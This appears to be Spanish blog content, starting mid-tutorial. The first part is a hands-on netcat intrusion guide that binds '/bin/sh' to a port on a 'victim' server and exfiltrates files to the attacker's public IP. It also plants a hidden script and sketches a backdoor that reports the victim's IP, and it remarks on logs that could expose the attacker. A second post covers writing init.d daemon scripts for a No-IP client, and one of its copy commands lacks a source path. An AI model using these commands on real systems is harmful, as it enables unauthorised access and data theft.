    Como en este caso netcat es el “buffer” envia los datos a la maquina atacante
    Cuarto, en nuestra linda consola, vemos la salida del comando, pero ejecutado en la otra PC.

    Comprometiendo un sistema :: Sacando archivos de la maquina afectada

    Como se estarán dando cuenta, hay muuchas maneras de transferirnos un archivo, pero voy a explicar la más sencilla.
    Primero tenemor el servidor victima: vvv.vvv.vvv.vvv

    nc -l -p 666 -e "/bin/sh"

    Ahora desde el atacante ejecutamos:

    # Nos preparamos para recibir el archivo
    nc -l -p 667 > fichero.deseado.recibido
    # Nos conectamos al servidor
    nc vvv.vvv.vvv.vvv 666
    # Buscamos en los directorios hasta dar con el archivo interesado
    cd Private
    ls
    # Ahora, lanzamos otro servidor para la transferencia del archivo
    # le indicamos nuestra IP Publica ccc.ccc.ccc.ccc
    nc ccc.ccc.ccc.ccc 667 < fichero.deseado
    # Cerramos la conexion [ Ctrl + C ]

    Alguien con dos dedos de frente y algo de ruta sobre unix se dara cuenta de varias cosas, como que el método tiene un gran defecto, los logs, no solo queda registrado que sacamos un archivo, sino NUESTRA IP y la hora, suficiente como para darnos caza.


    Transifiendo un archivo desde una máquina remota

    Comprometiendo un sistema :: Detrás de las lineas enemigas

    Hasta ahora, estamos en un bypass, podemos conectarnos, tener acceso total a la maquina y sacar los archivos que nos interesen de ahí. pero mejoremos un poco nuestra posición e introduzcamos un script a la victima.

    nc vvv.vvv.vvv.vvv 666
    touch .script.maloso.sh
    echo "#!/bin/sh" >> .script.maloso.sh
    echo "echo El usuario del sistema es:" >> .script.maloso.sh
    echo "whoami" >> .script.maloso.sh
    chmod u+x .script.maloso.sh

    Completamente inútil estarán pensando, y tienen toda la razón…Pero el concepto es lo importante no el ejemplo, porque nos será muy útil. Ahora imaginemos que hacemos un script, que inicie con el sistema y que se encargue de poner un netcat en x puerto y avisarnos por mail la ip de la victima, si, completamente peligroso, pero eso es motivo de otro post…

    Documentación

    WikiLearning - NetCat
    Wikipedia - Netcat
    PDF - Creando una shell Remota
    Manual de Crysol de NetCat

    2008-11-19

    Crear el script para poder tener un programa como Demonio en el inicio o boot de Linux Ubuntu / Debian

    Estuctura basica de un archivo /etc/init.d/mi_script_demonio

    Codigo base:
    1. #!/bin/sh
    2. #El parámetro $1 contiene la acción a realizar (start, stop, etc)
    3. . /lib/lsb/init-functions
    4. case $1 in
    5. start)
    6. #Instrucciones para iniciar el script
    7. break;;
    8. stop)
    9. #Instrucciones para parar el script
    10. break;;
    11. restart)
    12. #Instrucciones para reiniciar el script
    13. break;;
    14. *)
    15. #Instrucciones por defecto
    16. esac;
    17. exit 0
    Sencillo ¿verdad?.
    Nuestro script, puede tener más opciones. Tantas como queramos.

    Ahora vamos a rellenar las secciones del script con los códigos que queremos, en el caso del cliente de No-IP (fijaros que le he añadido la opción 'setup'):

    Codigo:

    1. #!/bin/sh
    2. #El parámetro $1 contiene la acción a realizar (start, stop, etc)
    3. . /lib/lsb/init-functions
    4. case $1 in
    5. start)
    6. log_daemon_msg "Iniciando el cliente No-IP" "pepitodelospalotes@servidor.com"
    7. noip2 -M -c /var/lib/noip2/noip2.pepitodelospalotes.conf
    8. log_end_msg $?
    9. break;;
    10. stop)
    11. log_daemon_msg "Deteniendo el cliente No-IP" "pepitodelospalotes@servidor.com"
    12. noip2 -K $( echo $( ps ax | grep noip2 | grep pepitodelospalotes ) | cut -d' ' -f1 ) -c /var/lib/noip2/noip2.pepitodelospalotes.conf
    13. log_end_msg $?
    14. break;;
    15. restart)
    16. $0 stop
    17. $0 start
    18. break;;
    19. setup)
    20. log_daemon_msg "Configurando el cliente No-IP" "pepitodelospalotes@servidor.com"
    21. noip2 -Y -U 30 -u pepitodelospalotes@servidor.com -p pepito -C -c /var/lib/noip2/noip2.pepitodelospalotes.conf
    22. log_end_msg $?
    23. break;;
    24. *)
    25. echo "Uso: $0 {start|stop|restart|setup}"
    26. exit 2
    27. esac;
    28. exit 0
    Por último, faltaría copiar este script a la carpeta /etc/init.d/ y darle permisos de ejecución:
    $ sudo cp /etc/init.d/no-ip.sh
    $ sudo chmod +x /etc/init.d/no-ip.sh

    Provando el daemon
    Para testear vuestro daemon, tan solo tenéis que usar los comandos de siempre, es decir:
    $ sudo /etc/init.d/no-ip setup
    $ sudo /etc/init.d/no-ip start
    $ sudo /etc/init.d/no-ip restart
    $ sudo /etc/init.d/no-ip stop


    Con estos comandos, hemos iniciado el archivo de No-IP, hemos iniciado el daemon, lo hemos reiniciado y lo hemos parado. De esta manera, cada vez que tengáis que hacer operaciones con No-IP, podréis usar el comando que queráis (start, stop, restart,...).

    Automatizando el daemon
    Los sistemas GNU/Linux, tienen 6 runlevels que "indican" el estado de la máquina.
    Por ejemplo, cuando iniciáis la máquina, automáticamente carga el runlevel 2 que contiene todos los comandos y daemons que tiene que iniciar. Cuando la queréis apagar, pasa al runlevel 6 (si no me equivoco) que contiene los comandos para terminar las aplicaciones. Cada runlevel contiene un conjunto de instrucciones que hacen que el sistema operativo se comporte de una forma u otra. A efectos prácticos, sería como las sesiones de los usuarios donde cada usuario, tiene su escritorio configurado de una manera, con sus programas, archivos, etc. Pues a modo de "estados del ordenador", encontramos los runlevels donde, por ejemplo, podríamos tener un runlevel que, en vez de iniciarnos el entorno gráfico, nos dejara el sistema en modo consola, podríamos escoger cargar o no unos drivers específicos, etc.


    Para que nuestro daemon pueda iniciar de forma automática, tenemos que hacer que los runlevels lo carguen al iniciarse y eso se hace con este comando:
    $ sudo update-rc.d no-ip.sh defaults 99 04

    Y para que se pueda cargar desde cualquier runlevel:
    sudo cp -P /etc/rc3.d/no-ip.sh /etc/rc2.d/

    Listos! Con estos comandos ya iniciará el script automáticamente al iniciar la máquina (el comando start) y lo finalizará cuando se apague (el comando stop).

    Fuente